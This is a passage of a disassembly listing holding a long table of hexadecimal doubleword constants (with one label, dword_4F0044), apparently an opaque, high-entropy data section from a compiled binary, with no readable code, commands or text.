		dd 539D1F16h, 0E9E80789h, 0F9FA99A5h, 72F1A92Dh, 0AD584F5Dh
		dd 802CD644h, 45912F68h, 0D86FFF18h, 58A3DCB7h,	7617FE68h
		dd 2CBE3A51h, 0E14E5872h, 0B70528AFh, 1A39C041h, 2B151F70h
		dd 0E0185679h, 0D9955D66h, 8BE62EFh, 2FEB83C4h,	5580EEACh
		dd 0BB8AE956h, 0F15D5CA4h, 0C2916B9h, 0EEC94F80h, 345F175Ah
		dd 0A14FAF41h, 11142406h, 0F13AE57h, 52615E01h,	0CFF15178h
		dd 842EFE1h, 614AEA59h,	0B101776Ah, 8AAC7A13h, 49D2C11Fh
		dd 7F5E4801h, 80313350h, 0EAEEF1F6h, 5FA8995Bh,	9DF66E2h
		dd 0F0DC02F7h, 0E84C6164h, 9206B36Bh, 5BA821FAh, 0A346A44h
		dd 1709A101h, 942E5A63h, 5B0801FAh, 7E72FF68h, 7CDDE931h
		dd 4BA55A8h, 0C268DBF7h, 0CF18FC57h, 0FA82C22Dh, 9F684631h
		dd 0F46BF5F9h, 6764C0E8h, 0D1055120h, 1CE945EDh, 680A4EF8h
		dd 9F8E790Dh, 5F14F267h, 4037B3C0h, 0DD1BD325h,	51A98A80h
		dd 29231A2Dh, 5B0C2074h, 4B64EE5Eh, 0FE5A2109h,	0A69708A8h
		dd 5925FC29h, 0F6950887h, 0D00F5A1Ch, 1B06172Ch, 2F38FAB7h
		dd 9176C251h, 0E9001459h, 3ED49487h, 3C382C1Dh,	27EC2816h
		dd 0E9382DE2h, 0C1F5538Eh, 2B12FE48h, 0BCD653CEh, 937A383Bh
		dd 0A0030A07h, 0B8D945F5h, 0EDD5F795h, 0A29648D1h, 88F34B08h
		dd 0EA30D105h, 87BD6913h, 0B15172D8h, 0F1803C01h, 5DACE948h
		dd 5943C975h
dword_4F0044	dd 50BE404h, 2D9739DEh,	0AC5E43BDh, 176D043Bh, 0F5B847C0h
					; DATA XREF: ___:00438124o
		dd 25B04D24h, 31FF05D0h, 1912299h, 0E611E0BBh, 0F02A0950h
		dd 5139FCB2h, 17D2E0F7h, 0B54AFE76h, 820C674h, 51972090h
		dd 2AE961C0h, 0FD4C2423h, 34A7390h, 88C756E9h, 0C2F924D7h
		dd 0BD00E2F5h, 7935F37h, 0E5814566h, 461B1073h,	0F0DAD587h
		dd 0FF888608h, 5E92403h, 0EBFEA79Fh, 2AF0635h, 0E64A01EEh
		dd 5977EDF0h, 3CEADE4Eh, 1324E978h, 818707B4h, 4B9260F5h
		dd 47CA68C9h, 8668801Ah, 0C8AC0F4Fh, 80B92DADh,	27E93C1h
		dd 3B609208h, 0EE4A1B2Eh, 6808B210h, 973D140Ch,	0B6343C52h
		dd 0D8DE3EC2h, 0E8F1B941h, 25E9416Eh, 3F23A83Ah, 782C0116h
		dd 0B3D66FA9h, 44AE9631h, 0FE597FA1h, 69430A34h, 0F953BE9h
		dd 0DFCE800Ah, 0E9A2BA05h, 10E34C90h, 0D1286AC8h, 1D2629A0h
		dd 472078Bh, 47BD8076h,	5E5E997Dh, 33E204ABh, 922CBC02h
		dd 4932A104h, 0CA845DEBh, 854805A0h, 0EEB331B1h, 0B604A88Bh
		dd 84C38026h, 911DFAD1h, 29B3E94Bh, 0EA9EDFA6h,	0CE40DFB0h
		dd 307A77B2h, 8030FA3Fh, 0BD9043C9h, 2520D124h,	41EF62Dh
		dd 0FBF328F6h, 1A4900C1h, 2412A122h, 895A0405h,	0B40AACDAh
		dd 113CB0AFh, 5056DBAh,	250756D3h, 413061BAh, 0E0010547h
		dd 1CA12775h, 4CF40C80h, 0E6E931C0h, 0D5D3C369h, 0A3D92FEBh
		dd 0D955C28Fh, 0AE7B0BBEh, 48206916h, 1DE974Dh,	16BCCA0Bh
		dd 0D2329DE0h, 0AE10825Dh, 0E69C570Dh, 4FBE50B1h, 92B694ECh
		dd 2C95CB1h, 0FF95CC86h, 0A653EF18h, 441A8182h,	0B6886102h
		dd 7E27CF47h, 0B96E46A7h, 13F38102h, 79568A71h,	3FF6619h
		dd 0D10C5D90h, 0C601266h, 0DA021241h, 1AE0BC53h, 41DC0E34h
		dd 0DF60E0B8h, 5C0392DDh, 141214EBh, 7B669005h,	0A22565BAh
		dd 354EC089h, 657D828Dh, 0EA5C97DBh, 0B555CD2Ch, 5DECEEE6h
		dd 60AE5B5Ah, 10D06819h, 7557DAA9h, 88567EBFh, 4A929BB6h
		dd 8F8EEA02h, 0DFEBE828h, 0F003B25Dh, 0B4213BA1h, 5AF41270h
		dd 5857EF88h, 0C5A454ECh, 977ACA8h, 324D68ADh, 75E002C6h
		dd 0FB4005FAh, 6D091080h, 483E0199h, 24922605h,	5B6428C1h
		dd 0BEE472BCh, 41828B9Ch, 0AC7DD5BBh, 0D347100Bh, 51734930h
		dd 6FE82F68h, 0FB68198h, 0E9799F04h, 8102850Dh,	8F622CF6h
		dd 961319C0h, 530631D2h, 55BED18h, 0DF29FBEBh, 5E99BF69h
		dd 0FFE1361h, 0A33B0136h, 0F066EE6Ah, 0CC9DD34Eh, 7BEF2795h
		dd 84F4C1ECh, 0A014669Fh, 243277E0h, 2D875EBh, 93FFE9EEh
		dd 7509B2D5h, 0DFA32722h, 5D95B05h, 1726A32Ah, 0C744D706h
		dd 28B81D42h, 824396DFh, 63575E6Dh, 0DC21CAC2h,	0B25260D8h
		dd 0B30453B5h, 33E380A4h, 0B1FC7283h, 0B03FAFEAh, 5BEAC25Ch
		dd 0D1885113h, 5A3D01FCh, 20FCEC84h, 6F21AFE7h,	0B9004DADh
		dd 0D2252FD8h, 4AD12066h, 9DF279BFh, 9168B78h, 0D9FF5FFAh
		dd 0FDCF3B23h, 8579EE4Fh, 6FE4C2F5h, 817B5ED7h,	7266EC9Bh
		dd 0F7080A05h, 0E606EDD3h, 0F630AD33h, 14DFE80Dh, 0ACDD01A2h
		dd 0A57E0C92h, 690BBF38h, 552EDC70h, 0BA524B00h, 330B0A11h
		dd 57B4E97Eh, 1BC1B11Bh, 185F3209h, 51CCF0Ah, 0E40D0B9Fh
		dd 0F5072D48h, 8BEFA23h, 500A65Ah, 0BBC4BF2h, 46C30F2Dh
		dd 3941416Bh, 7A3EC157h, 95C618F0h, 28BB8D00h, 6602024Ah
		dd 0FDB5DCBFh, 0AF405F99h, 449FF9C0h, 0B86812F6h, 13D9F364h
		dd 38EE3F40h, 0FE44E705h, 4933970Ch, 0A710E2F1h, 98DDD9D1h
		dd 62B1F756h, 0D1D77EE1h, 0E6F9ACC2h, 4E99F050h, 25D54393h
		dd 8A190267h, 0D74955AEh, 511F5F7Ch, 3B6F0553h,	478D0525h
		dd 0F8F73DC5h, 0CABA3210h, 1927B398h, 3128C6FCh, 0E17307E8h
		dd 147AE8D5h, 137091F6h, 78CF569Dh, 2181B956h, 0E03E4621h
		dd 92F707C0h, 4B579A1Ah, 0F6F79DB0h, 352C7DECh,	47B7605h
		dd 53B4CCh, 3008B6BAh, 0E2811D48h, 7D5441D8h, 2FF238E9h
		dd 12D676ACh, 0BFDD4911h, 0CC50DF18h, 0D7723EBCh, 459F6896h
		dd 4555249Bh, 0B1F7AD56h, 0E1529EE9h, 0AB284005h, 742D073Fh
		dd 0A06D3B15h, 86754BFh, 322C6C9Fh, 0C38BB91Ch,	5D937F56h
		dd 40A39AA4h, 0CFB0535Ch, 6E21CF09h, 234F27Bh, 78C02DD8h
		dd 0F08F1247h, 9CB801B0h, 213A7174h, 0E4820361h, 0A10AF01h
		dd 0D5B10977h, 37040718h, 0DEF0282Dh, 0F4E961CDh, 0B6383BADh
		dd 0E9CE0801h, 0BB01A3D2h, 156150A4h, 9860B70h,	31176441h
		dd 6C60E2E1h, 0EF871C92h, 7649FD9Eh, 8192566Dh,	5D48DCEBh
		dd 210CA53Dh, 0F910E9E3h, 38D7B66Ah, 0D3F8CD29h, 9F27C4ECh
		dd 56E1C37Ch, 634701BEh, 26F7F809h, 380458B9h, 0CF2736D8h
		dd 0E055FC62h, 0FE3B1DE7h, 9141BDD9h, 72EC6A09h, 0F57E55C9h
		dd 2FE262h, 0E60AD0B9h,	0BA703F60h, 1227DF72h, 0F7C4CFE9h
		dd 9B56BDEh, 0FF08295Ah, 0B688DD34h, 0D240B0E9h, 0E3A2D45Ah
		dd 0BCE78812h, 0B26580Bh, 739F95E9h, 0A5582961h, 40DDA042h
		dd 80B9275Ah, 1C09E681h, 30C3B40h, 0EB6B99B8h, 0DFCAE070h
		dd 1AE4052Eh, 0A438B7E9h, 0FD41FF88h, 66ED6E89h, 8FBF4579h
		dd 0D362C84Bh, 451706ECh, 540EEE84h, 84C2027h, 0B66F61E9h
		dd 36FC837Dh, 0C3DA3437h, 45C4514Ah, 74F2A2CBh,	66575AB4h
		dd 50699033h, 68154DF5h, 288D45A1h, 0BDDF5D32h,	0F504C327h
		dd 83BF138Dh, 8DA46FEBh, 0D3FEE065h, 9C78AA8h, 4C565C76h
		dd 38FE4BF9h, 225FE957h, 0F3808007h, 62140B1Fh,	95945FF5h
		dd 0F7278CDh, 248A68BBh, 1873AE1h, 620811A8h, 0CF3DEC47h
		dd 2561CDB5h, 917145Dh,	6368C80Fh, 9E90A40h, 0A6EC595Bh
		dd 8048B2C0h, 2FB81DCAh, 52DAE5Ch, 54B450E7h, 80FE28C3h
		dd 7E2858E5h, 56ED0CD5h, 1F0A5A66h, 0A41A9FA0h,	6A585F82h
		dd 0F6EFF638h, 76FB81B8h, 545113C3h, 9810B5E6h,	1DBDC032h
		dd 9047A50Eh, 8460039h,	0D5096D63h, 9513E9h, 435F2DD5h
		dd 2D1E7A9Fh, 6351445Dh, 0A25A09C9h, 0C1575018h, 5579CDF1h
		dd 4D5B7C02h, 0B3558959h, 0CAEDF075h, 10300C0Eh, 564B52E9h
		dd 0FE30544Bh, 9460E568h, 70BA60AFh, 234A3132h,	5A312AB1h
		dd 0C520DDCEh, 6552A0A6h, 5AD1890Bh, 2880041h, 9847D212h
		dd 376601D0h, 4EE91D64h, 0EF9074FEh, 0F787071Ch, 6208D65Ah
		dd 0D8284AE0h, 51031E7Eh, 8286C93Ch, 0C4F55C24h, 5E5F0BD9h
		dd 32EAC806h, 4DD5F71Eh, 22B18513h, 0F4067A45h,	3810C146h
		dd 688B495Bh, 0D1E94E5Eh, 0C1953B5Ah, 0B2B3B0BAh, 68020195h
		dd 307E0DEEh, 430A87Bh,	0E6C10E0Bh, 0A810D007h,	0F013EB79h
		dd 31D7408Dh, 1ABEDE48h, 0FB5B8ACh, 0F3820688h,	2CBE0120h
		dd 31B99EFAh, 0BA076AF1h, 7DE43A65h, 2E3F1AAh, 90D55908h
		dd 802A1FA4h, 801EA3B5h, 0B69F15CDh, 0E78048EFh, 83420960h
		dd 22DCD165h, 0A2EB710Bh, 62A2B176h, 2CDCD40Ah,	0CB782D46h
		dd 56C9FE2Eh, 2A34EC16h, 132D582h, 415AD788h, 38F86A2h
		dd 31257A5Eh, 761A5450h, 0C1212EB6h, 0C83B8BE2h, 14731C36h
		dd 0F3BF0B02h, 57F60976h, 0CAD58A02h, 0C3327975h, 1D03F840h
		dd 8E231FE6h, 3F6B038h,	0C8A6020h, 981A42C5h, 4E93512h
		dd 4E5FAFC1h, 1B4A5860h, 7E2E9B74h, 7A1F5D90h, 0E909A6BEh
		dd 4F07D045h, 30E08158h, 733D60F1h, 72929F94h, 0E2B24BEBh
		dd 68C3B6F3h, 32AF8D22h, 3E587FBDh, 42E4D1B7h, 0A7A70133h
		dd 872C21FDh, 0A7D87A59h, 0A84F4FE9h, 34EF5AFFh, 0F695D8F0h
		dd 0A837F97Eh, 64EE28E0h
		dd 0D1B82077h, 8F478F1Dh, 5296FC1h, 4C933077h, 0B099C72Dh
		dd 0A82182BFh, 2082BD07h, 0DA8BF599h, 0E6875A03h, 1268810Ch
		dd 5260BF18h, 0A71090CCh, 22B61F40h, 81C06348h,	0E23059CCh
		dd 526D2058h, 2C2BB248h, 5A978D93h, 0D490E4BDh,	12319D05h
		dd 1F8CC010h, 15163301h, 2409D3F7h, 98E69Bh, 12A20ED6h
		dd 156E50B8h, 0EDE93A24h, 0F4BD8320h, 0EC55FA07h, 0E9BA88B7h
		dd 65AA6BE4h, 10E6807Dh, 0B0418C74h, 0ABF25BE8h, 84FBBF65h
		dd 0D75EA69h, 674AA7AFh, 2E4568B3h, 4B439EAEh, 0AD5396D3h
		dd 0CDCE80A8h, 0E7F7E8A9h, 17FAD22h, 0FC38070h,	5C4BB560h
		dd 2F7ECD28h, 12B3A39Ah, 56355FD1h, 4F202620h, 83316284h
		dd 6CD57440h, 71A10E64h, 66D60B44h, 5D343CFCh, 0C5057EB8h
		dd 80AFE12Dh, 0F5050755h, 0B2136F00h, 81E9C221h, 5928C9B7h
		dd 0C71D9E78h, 0F810D7F6h, 124B106Ah, 0C029EF82h, 2F554364h
		dd 0BC30BE9h, 0BFDC13FAh, 75B66841h, 592DAE5Ah,	0D3228A4Fh
		dd 281D27F4h, 0E90E2CD8h, 0D2238E3h, 0D4690F76h, 0D8D8F72Eh
		dd 0C0093508h, 753D6856h, 0E6093E60h, 3C47BA80h, 0B83D1B2Bh
		dd 157C7002h, 99B0D031h, 0F15BB4E9h, 0D6302531h, 89AC3E9Fh
		dd 9C7DD8B5h, 0BB84BFA4h, 4E29A834h, 0A7F671ABh, 0EBE18153h
		dd 4DA254CCh, 2D7DF07Ah, 931B240h, 3D468D2h, 4898D264h
		dd 0BB96972Ch, 2F850647h, 0DB5E92E8h, 0A6ED1097h, 0A06680Dh
		dd 0E0A83A83h, 71B07A7Ah, 9FC2B025h, 40759D6Ah,	2561D449h
		dd 0BC5D474Dh, 0ADA29CA9h, 0F9679977h, 0A82BA071h, 4A3FB066h
		dd 0B86EE50Dh, 0DA6C1880h, 2403BE1Ch, 2DC0CA6Ah, 0ED01FF56h
		dd 0DA671C36h, 8570AD2Bh, 981D629h, 893E8573h, 0D883E7F1h
		dd 585474D9h, 5C5ECDDCh, 0A54A18F2h, 5FEED8A3h,	43357004h
		dd 5B84D601h, 0DB2B80E5h, 685A05B9h, 0A6441BB9h, 5FF29BB2h
		dd 122FF84Eh, 29BA28BCh, 8FA10A6Ah, 0A065E9E9h,	44266401h
		dd 0F222BD49h, 66044520h, 7C7F4EFh, 0E60A1951h,	0CBEF0C24h
		dd 975F3E6Ch, 0F7A46A9Fh, 716BA0Ah, 0C94E6E05h,	0B625033h
		dd 0F1F47756h, 448C1A1Fh, 821E5BC0h, 50D82910h,	24E9072Dh
		dd 40D138AAh, 189CAFBAh, 41957E98h, 74C04A6Ch, 17C9FE3Ah
		dd 0BEBE1741h, 1037EF04h, 48BBF8B0h, 783D0FF6h,	128BDBA5h
		dd 6651D95Eh, 19ADBD3Bh, 0B1B2B0A0h, 0EA48BAEFh, 2F11F83Fh
		dd 614AF6E8h, 0C1263C85h, 4822C52Ch, 504802CCh,	0CC3310A0h
		dd 0C9CDFE1Dh, 9BE44A98h, 4B2D5779h, 9718B6D8h,	0E9610279h
		dd 6E22463Ah, 4A7A4C0Bh, 5A321160h, 0F2DCE122h,	95E600F5h
		dd 0EA897B38h, 69B729E9h, 0DADFE5B9h, 0FF3C448h, 0AEB551FEh
		dd 0FD127764h, 0F0C30088h, 0F77E2A57h, 4FD6B5DBh, 0EE9F9028h
		dd 0EBECC614h, 0EF04197Eh, 244964C5h, 6C821CC4h, 3CA5ECDh
		dd 16C7DBBh, 0A45A31FBh, 0F26A00AEh, 47E1568Eh,	0B151572Eh
		dd 20AAF516h, 40381C81h, 0DF0120B0h, 0C529698Fh, 92F62E9h
		dd 0D8D6B825h, 7FA87813h, 0AEC584E4h, 6568A460h, 0ADA3B142h
		dd 40134Ah, 60E567BCh, 8B01E50Ch, 0E976A75Fh, 8C6EB615h
		dd 0DAF51FADh, 5D6B19DFh, 9FAC9DE4h, 4D28C0D9h,	84042E01h
		dd 2AF18133h, 85E90D8Bh, 0C6300760h, 3AFFB9B0h,	0B516E7A6h
		dd 17EFBD99h, 0EDFCE6C0h, 0C6800207h, 9CEB3390h, 0EB72062Ch
		dd 0F313781Ch, 40D030F0h, 0D5DE571Ch, 4FF1D557h, 0B0846862h
		dd 0DD27EA71h, 0D9F95787h, 0EC2F883Eh, 1CDD6805h, 459F68FBh
		dd 0B728D940h, 599356E5h, 10F24E09h, 2843E697h,	0CF9475Bh
		dd 460B3589h, 23183718h, 0AA0C4B67h, 7A3A2E1Ch,	0FF07271Fh
		dd 99E3C043h, 35604140h, 626CEB0Eh, 9F4ADD8Fh, 56BB4585h
		dd 5B77A853h, 32E95AA4h, 5C7CCD95h, 4B7D525Dh, 0ACF612C7h
		dd 0EF4A05DEh, 17EB52A6h, 130FE422h, 5818191Dh,	0A1215742h
		dd 2FA2F52Ah, 55E4501h,	88841949h, 7F8FE13Fh, 7DB6BB37h
		dd 78681317h, 7961B32Ah, 77A02700h, 597A0D58h, 5600095h
		dd 67A37481h, 0B33C0B2Dh, 90892EBDh, 0D73A1D0Ah, 55585980h
		dd 3F041968h, 0A81272E0h, 0E7BC40BDh, 0D23770Eh, 3002F7ECh
		dd 0E9743966h, 4D15DD6h, 0EBBADBCh, 12EF0947h, 0F1168B09h
		dd 0DE044960h, 0F8F917C8h, 0D366FD5Fh, 0E96E75A5h, 0A8166A5Ch
		dd 67B9EF17h, 0CD2676Fh, 0F6B135A6h, 2C196900h,	5E5D56D1h
		dd 0D8EE4F31h, 0A84CEB52h, 4A3E2780h, 0EE08084Eh, 0C032D012h
		dd 588C5C59h, 0DC75ADCh, 0B8C559E8h, 0EEB235ACh, 843A8512h
		dd 91FBF035h, 6BAD998Ah, 0FD84A9A8h, 0C4AEF31Ah, 0BE009C4Ch
		dd 2FE7587Eh, 0E65F8F98h, 0CF55A4h, 6CF96067h, 2BDBE56h
		dd 31202E16h, 6EBD18FCh, 0AC4AB3A9h, 2708C4C6h,	4D40D893h
		dd 3278E537h, 729B36FAh, 94110855h, 0C0283859h,	6802BF48h
		dd 6A076C5Eh, 0C806ADFEh, 0ECE62002h, 33041984h, 2EB10A13h
		dd 5AD5F2D2h, 74D73537h, 274B8255h, 0D42FBAF4h,	0DB557A48h
		dd 63A3A5DFh, 0E99422E9h, 0AD2E1F13h, 1676CA5Bh, 0EBE289DFh
		dd 0EC289129h, 0C51C35D4h, 317D2FC3h, 7922538Bh, 0EB2F5A12h
		dd 899F2D37h, 9EC374EEh, 0B84D13CBh, 5DED4FBAh,	1EC6BEC4h
		dd 0E3B97165h, 0A8FDC768h, 0B822C564h, 397531AAh, 5B4491FCh
		dd 95187D79h, 506918F9h, 0CC1D4F8Ah, 0E86FF033h, 5809C583h
		dd 97682D42h, 0C0DD567Dh, 673E6B06h, 8E5C114h, 2F5905BCh
		dd 16D5C73Fh, 835D1082h, 0A2698DA9h, 66F78067h,	0B045DA44h
		dd 77B6025Fh, 0CA31536Eh, 0D2F77790h, 20AB565Ch, 54553BAFh
		dd 80266DA6h, 0CA885266h, 30E9D2F6h, 0CE40C20Fh, 24852D68h
		dd 185E65EAh, 38AA0512h, 0F041790Bh, 7696147Eh,	94CA820h
		dd 43A85BCAh, 1DA75024h, 6A7B09F9h, 6C7E2E86h, 22F0445Eh
		dd 0B12CD731h, 0F275CE2Eh, 5B1B598h, 18047C01h,	8004C1FEh
		dd 30FD0BF1h, 918759CFh, 0AC594F3h, 0E8CC83EFh,	636725E9h
		dd 4DB8B1E8h, 2927D126h, 2D00BD10h, 485F6743h, 571F7A05h
		dd 5FAD2B30h, 8AB99F82h, 98BD1CD3h, 80162155h, 278678EDh
		dd 10D7FD98h, 4805F282h, 7E1210BAh, 8DCDFBF5h, 0AC507FE9h
		dd 7DCBF57h, 0F7442E60h, 2964D2D7h, 16FD0C4h, 4D02B3Bh
		dd 0B1369F7h, 1477CD3Ah, 0A1BA2F6Ah, 52C7F0F1h,	28308AE0h
		dd 9E4A4811h, 0AD82845Eh, 4498F485h, 9DF570BAh,	31EA3AFEh
		dd 1D8F350Ch, 9C76EEF3h, 95FDA877h, 0C2956AF8h,	208853Ch
		dd 7D5F25C0h, 0E9AD168Bh, 539F12Eh, 0FAE2BFDAh,	836853E0h
		dd 449B4665h, 0E23FC0F1h, 0AA8B84CAh, 671BBD00h, 30F41F83h
		dd 7AD54FD7h, 327E6DFEh, 625527CBh, 0FD59FD2Fh,	5ED9A38Ch
		dd 80A809B2h, 0B0960F2h, 0C12D0AD0h, 6F9270E6h,	0CA21C749h
		dd 0E77CAD7Ah, 258EE4E1h, 98D42BACh, 0A7AE0AC4h, 0C329C2C5h
		dd 263B7E58h, 0D2D1A58Fh, 3EC5F7E9h, 82ACE985h,	0EB2543A3h
		dd 675DE089h, 4BD124CFh, 5607DF94h, 3BA8BE66h, 36E6834Fh
		dd 0D6F7C916h, 0CD2AA931h, 0DED7B5Fh, 9425E983h, 7805AD4Fh
		dd 3D0E0A31h, 14960643h, 0ABA1000Ch, 0D92980A0h, 729E40E9h
		dd 1C8B5905h, 0D830E6BFh, 4E92E91Dh, 539DB362h,	59680A77h
		dd 5A569927h, 141DFF70h, 0DEB41297h, 0B91C0BF1h, 552B153h
		dd 0ED16ED94h, 2F86DEFEh, 62EE7489h, 0B900DFF7h, 58991B69h
		dd 66020248h, 21239F5Eh, 8BB5EDEEh, 25205D53h, 0ECDCB7F1h
		dd 5C81F5Ch, 4DCF6E15h,	9E109084h, 34A95B08h, 16EB2985h
		dd 81BA80C0h, 0BE0464EFh
		dd 0FD010E76h, 7BE666EFh, 0C07AE916h, 9364DD21h, 28DBF701h
		dd 820C9F34h, 16FEC9D2h, 16CE87Ch, 9D50C154h, 0DFA8DB53h
		dd 4A6CD52Fh, 135710C2h, 47A1C3Ch, 9586D21h, 0B7D170B6h
		dd 730D047h, 5A61E951h,	0C15F2F3h, 896B3068h, 0B9A64A48h
		dd 4B4592DFh, 0D8BFD14Ah, 0FC40053Ah, 67CB2E68h, 881CC208h
		dd 12D4009h, 522794D7h,	5C509E54h, 2AFB3168h, 69316089h
		dd 455805EDh, 49DA596Bh, 0D9F4E90Ah, 77EE81C8h,	4939DD7Dh
		dd 52006014h, 225A23F0h, 260E8CB2h, 7B1EFD27h, 494C680Bh
		dd 75C963B1h, 3EB46B36h, 0BBDA406h, 1C59E9Dh, 0DAADA0F1h
		dd 0CAC783C0h, 246557C8h, 16EF8B1Dh, 68E93E95h,	50F89CDAh
		dd 2041B012h, 0C48F64EFh, 8D808197h, 9BF77FF9h,	5CB7357Bh
		dd 9101BAB3h, 4445272Fh, 13DCF2D8h, 0BC60B40Ch,	58E609B0h
		dd 0BD9F0434h, 5A756800h, 35F852C2h, 4C1DA116h,	2EB0BAEh
		dd 0D8DA9338h, 3D005492h, 817C5A49h, 2F0DE4C9h,	0A25772C6h
		dd 0DAB85056h, 0C7293E7Ch, 2E0065ADh, 8ADC680h,	72FCF14Fh
		dd 284C0227h, 2AE4A49h,	0C77E7FB8h, 308B7837h, 5E18DC4Eh
		dd 1C3D6F09h, 0A73A125Dh, 3B43C8EFh, 9980C4B7h,	0F85F125Ah
		dd 10C194D8h, 0B90751BCh, 0EAAB1784h, 0E1D10DF1h, 5C2981A4h
		dd 2DE8685Eh, 0C54A7033h, 942DBA08h, 97FEE63Ah,	0EF5884E2h
		dd 58E05E17h, 0EA613265h, 0E364B52Fh, 369A116Fh, 43E80525h
		dd 87C90B8Ah, 45ED52Eh,	0F421282Fh, 949D58B2h, 0F8B30741h
		dd 0B75C380h, 0B4507400h, 0E64928EDh, 0EFC6C025h, 0B20F85E9h
		dd 28210EA5h, 45A10B7Fh, 3DCF9BA7h, 94A1180Dh, 27564F99h
		dd 5756365Ah, 28E7E0C3h, 6BD42820h, 909F5CBh, 95D98E4Bh
		dd 0E5027834h, 0D1B08671h, 0AB9B247Ah, 28150D09h, 49089276h
		dd 0F38101EAh, 0C3D48E03h, 485FC3D9h, 0BC4EEAF0h, 4F7DA6B3h
		dd 90C2A62Fh, 4DBDF5DEh, 4BC868C1h, 425AF885h, 0DACA312Dh
		dd 9F76251h, 2B50A2E9h,	2F17884Ch, 78905F50h, 68055255h
		dd 14262CD6h, 0B1350FEEh, 0A8654F24h, 2B3C2514h, 4A2A01B1h
		dd 38327EAEh, 11680507h, 10D87F0Ch, 0BD24368Fh,	251858BAh
		dd 2841C237h, 7D9A3452h, 42DC32EAh, 0E975C51Bh,	56315E26h
		dd 0E1A4B83Fh, 405A594h, 12955932h, 0C2D3C0ABh,	27254A09h
		dd 37E0C9E1h, 0EEBF456Fh, 9096A962h, 93482EE3h,	119BF669h
		dd 0A6142407h, 0B4E908B0h, 0FF76D2DEh, 1BF402D9h, 7E22AA2Ch
		dd 0D4C6430Ch, 36877B10h, 0E3203258h, 4CBD5A4Bh, 0F16B7F05h
		dd 1E92E074h, 1B27860Ah, 1520D5E9h, 574BDB25h, 0FEB0F49Bh
		dd 3130EEE5h, 0B2E9F8F3h, 0C71A5849h, 0A1EAC127h, 4DF4BC05h
		dd 6EC8F796h, 48D41363h, 0CE06BCEDh, 0C73D15Eh,	0BC71AE19h
		dd 3EED86h, 0BA525FE5h,	0CFE32A15h, 98B0AEE1h, 0A3B65D18h
		dd 18752E6Bh, 945F0247h, 7AFEE78Ah, 0FDA9778Ah,	8F7CFC41h
		dd 13EA2B30h, 46F5E26h,	1FDD7Ah, 1B03A1BEh, 7C9077h, 0EF9249FDh
		dd 76E9F129h, 0CB89D66Eh, 560AA49Bh, 0F7D0928Bh, 468C5A31h
		dd 18E739EFh, 0B046D4EDh, 0C6882F29h, 0C9200CD0h, 0E2315E8Bh
		dd 0B1C99F4Ah, 0D945DB4h, 28FE145Bh, 0F8B5416Bh, 0E271B772h
		dd 0B4B27F6Bh, 6E28861h, 0EAC01684h, 4AB1307h, 0FBD3D51Ch
		dd 0F24AC7B3h, 1B00D6D7h, 73434BA0h, 0BC3F25E9h, 455E198h
		dd 29073A12h, 0DBCF2A05h, 7E318EBEh, 53D0D34Ah,	2530D1C3h
		dd 0C2F60BCBh, 1349110Eh, 425F99FBh, 820C55DFh,	0D7620641h
		dd 0B45BE23h, 3D654195h, 72DF846Bh, 2961885Eh, 4E483C0Dh
		dd 0E91E6CBEh, 0C4F46B27h, 4AD2F122h, 0C365F5FEh, 17A38288h
		dd 12DA255Ah, 8296249Dh, 134CBC1Ch, 0BF65D1B5h,	0C810A895h
		dd 4C14680Bh, 0B7530BE8h, 6B52C09h, 0A4FADC30h,	64BA0C43h
		dd 610EEBB7h, 60356F57h, 0A27714BFh, 690FB25Eh,	4F5762F0h
		dd 0EEADB86Fh, 136464DCh, 0A80012BFh, 0B0FAA400h, 0CF04A26Eh
		dd 3E99A31h, 0BB0FF7B8h, 556B668Bh, 54B7BB50h, 214D50CCh
		dd 0A0BF14BDh, 8013EA83h, 6478EB80h, 0D411106Ch, 0B37212EFh
		dd 8048E111h, 814F0406h, 1910E3F7h, 0EE290B89h,	0AC173B0Ch
		dd 74A50E8h, 31540740h,	3C5FF809h, 6853A05Fh, 0B81F05A1h
		dd 0EA435B10h, 0D9C30A40h, 0B50CEAACh, 0EDE0D743h, 3F905307h
		dd 0BC2E4741h, 0F8351065h, 0EE3C8948h, 4E23510Bh, 0AAC85C8Bh
		dd 5880F0CBh, 3BBD1E55h, 0F726856Ch, 74E40DD5h,	0F20FB1Fh
		dd 8B5C5F05h, 0F6250913h, 150E5DDEh, 0F3282FA0h, 91B0515Ah
		dd 0C4397E6Eh, 39C82E08h, 0CA7A5EEBh, 975910A5h, 19256D48h
		dd 34B1A7D1h, 6424BF83h, 2AF97829h, 2FDFD34Fh, 0A24C3FAEh
		dd 98431620h, 0A2704A7Bh, 0FC042D5Fh, 39F4FA85h, 444142D2h
		dd 8F50F7Ah, 13F61070h,	682C91DDh, 5F6A93B3h, 40E826E0h
		dd 0FFC55DDh, 499D0E5Bh, 0D82290h, 346B8BBEh, 5C9BD12h
		dd 2991BCDAh, 38F5BAF5h, 982F6761h, 7905FACAh, 6C29306Ah
		dd 5D6122ABh, 2C42C75Fh, 0F30D13C3h, 0D2F44FF1h, 8196A8FAh
		dd 58BA01E6h, 0B1683EA4h, 12256F08h, 23B88580h,	5A590979h
		dd 7104E281h, 0FA1DBF77h, 358DC530h, 2D630303h,	57E17D3Eh
		dd 80CC75F9h, 3CC2C75Fh, 27686C36h, 4DE65F54h, 7F4F7E0Ch
		dd 229843Ah, 0E9398661h, 0C40A07E0h, 24A0F115h,	450A4852h
		dd 96022B39h, 40060575h, 26BB48ACh, 97337034h, 2734BA21h
		dd 22CAFC2h, 0F055B2h, 0F3A6520h, 6BB15859h, 0AE3CF324h
		dd 0DFA804D9h, 19D93561h, 7E0C8077h, 0D9F722FBh, 9385629Fh
		dd 6A800201h, 4B30721Eh, 0EA06A084h, 0CD0B049Dh, 0C4CA0163h
		dd 59080BEEh, 0CAA0B646h, 7EE8714Bh, 9C426C3h, 388594F1h
		dd 888531BCh, 0D541EBCFh, 747068D7h, 617F9B23h,	8CE922F8h
		dd 7AFC2AFAh, 23AC89DEh, 7E819A2h, 0A1F96862h, 0A7A8C716h
		dd 0E9051C60h, 40D7A15Eh, 0B4051CB8h, 84AA314h,	0D02DDF97h
		dd 92E683E6h, 0C1FB8493h, 0C25F5F0Bh, 0FC006443h, 49E4D8Eh
		dd 33DD6801h, 2E586FBFh, 0B29223C7h, 0C918575Ch, 0B1C47A06h
		dd 0B6FAA01Eh, 0C00650CCh, 2F0CFE55h, 5F10F08Ah, 0F0C04E56h
		dd 95ABC380h, 5AEA14FAh, 1C2A7897h, 0E4404BAh, 0AF9E2CC8h
		dd 7B986B70h, 0C0262220h, 52BAB790h, 0F6263BB6h, 201377D6h
